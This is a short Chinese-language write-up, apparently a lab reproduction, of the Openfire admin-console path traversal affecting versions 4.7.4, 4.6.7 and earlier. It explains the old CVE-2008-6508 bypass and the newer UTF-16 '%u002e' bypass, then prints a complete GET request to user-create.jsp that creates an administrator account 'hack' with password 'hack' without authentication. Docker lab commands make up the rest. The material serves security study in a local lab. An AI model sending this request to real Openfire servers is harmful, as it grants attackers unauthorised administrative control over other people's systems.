Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
1.漏洞复现
cd vulhub
cd openfire
docker-compose build
#重新编译靶场环境
docker-compose up -d
#开启靶场
docker-compose ps
#查看端口
docker-compose down
#关闭靶场
十多年前,Openfire管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用/setup/setup-/../../[page].jsp
来绕过权限校验并访问任意后台页面。从那以后,Openfire增加了对于路径穿越问题的防护策略,用以抵御这个漏洞。但是因为后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点。
现在使用UTF-16绕过该防护
/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp
访问192.168.126.128:9090
即可跳转到登录页面
抓包,发送如下数据包
GET /setup/setup-/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hack&name=&email=&password=hack&passwordConfirm=hack&isadmin=on&create=Create+User HTTP/1.1 Host: localhost:9090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: csrf=csrftoken
虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hack
直接使用创建的新用户登录后台